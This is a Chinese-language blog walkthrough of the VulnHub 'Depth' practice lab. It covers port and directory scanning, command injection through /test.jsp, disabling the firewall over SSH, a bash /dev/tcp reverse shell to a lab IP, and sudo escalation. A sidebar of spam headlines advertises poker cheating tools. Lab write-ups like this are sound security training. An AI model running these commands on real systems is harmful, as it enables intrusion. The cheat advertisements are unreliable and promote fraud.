【vulnhub】Depth靶机
创始人
2024-11-13 03:41:18
0次
靶机安装
下载地址：https://download.vulnhub.com/depth/DepthB2R.ova
运行环境：VMware运行该虚拟机
信息收集
靶机IP发现
nmap 192.168.93.0/24
端口扫描
nmap -A 192.168.93.154 -p-
只开起了8080端口
进行目录扫描8080端口
dirsearch -u http://192.168.93.154:8080
有一个目录/test.jsp
IP网址访问
翻译过后为
后面拼接/test.jsp
翻译过后
提示我们输入 ls -l /tmp 测试一下
存在系统命令执行漏洞，进行利用,反弹shell尝试失败
漏洞利用
ls -l /home 查看到home目录内容，发现bill用户
输入ps aux，找出带有 “ps aux”的正在运行的进程，选项“ aux ”会打印系统中所有正在运行的进程。我们发现 sshd 服务正在使用中，但访问可能受到限制，nmap刚刚没有扫描出ssh的端口，可能存在防火墙。
尝试关闭防火墙
#尝试关闭防火墙 ssh bill@localhost sudo ufw disable
再次执行反弹shell
ssh bill@localhost bash -i >& /dev/tcp/192.168.93.130/8787 0>&1 
获取shell成功
提权
尝试sudo提权
sudo -l,发现所有用户(ALL)都有sudo权限，
直接 sudo su 命令
查看flag文件
相关内容
热门资讯
黑科技辅助挂！wepoker数...
黑科技辅助挂！wepoker数据分析工具，德普之星怎么开辅助，一直真的有挂（有挂技术）1、实时德普之...
为切实保障！智星菠萝辅助，德普...
为切实保障！智星菠萝辅助，德普之星私人局辅助器，本来是真的有挂（有挂讲解）1、每一步都需要思考，不同...
昨日！hhpoker辅助器视频...
昨日！hhpoker辅助器视频，德普辅助软件，确实是有挂（有挂透明挂）1、点击下载安装，德普辅助软件...
据玩家消息！wepoker游戏...
据玩家消息！wepoker游戏下载，德普之星辅助器，好像存在有挂（有挂教学）该软件可以轻松地帮助玩家...
2026版攻略！佛手在线是不是...
2026版攻略！佛手在线是不是有挂，红龙poker辅助，果然是有挂（有挂助手）红龙poker辅助脚本...
2026版攻略！wepoker...
2026版攻略！wepoker亲友圈有用吗，德普之星透视辅助软件下载，一直是有挂（有挂规律）进入游戏...
第三方技巧！德普辅助app，德...
第三方技巧！德普辅助app，德扑之心免费透视，都是真的有挂（有挂分析）1、德扑之心免费透视破解器简单...
黑科技辅助挂！wepoker开...
黑科技辅助挂！wepoker开脚本视频，德扑之星透视软件免费入口官网，其实真的是有挂（真是有挂）1、...
连日来！wepoker私人局透...
连日来！wepoker私人局透视插件，德扑之星怎么开辅助，本来真的是有挂（有挂分享）1、首先打开德扑...
黑科技技巧！wpk透视辅助靠谱...
黑科技技巧！wpk透视辅助靠谱吗，德扑之心免费透视，果然是有挂（有挂工具）1、下载好德扑之心免费透视...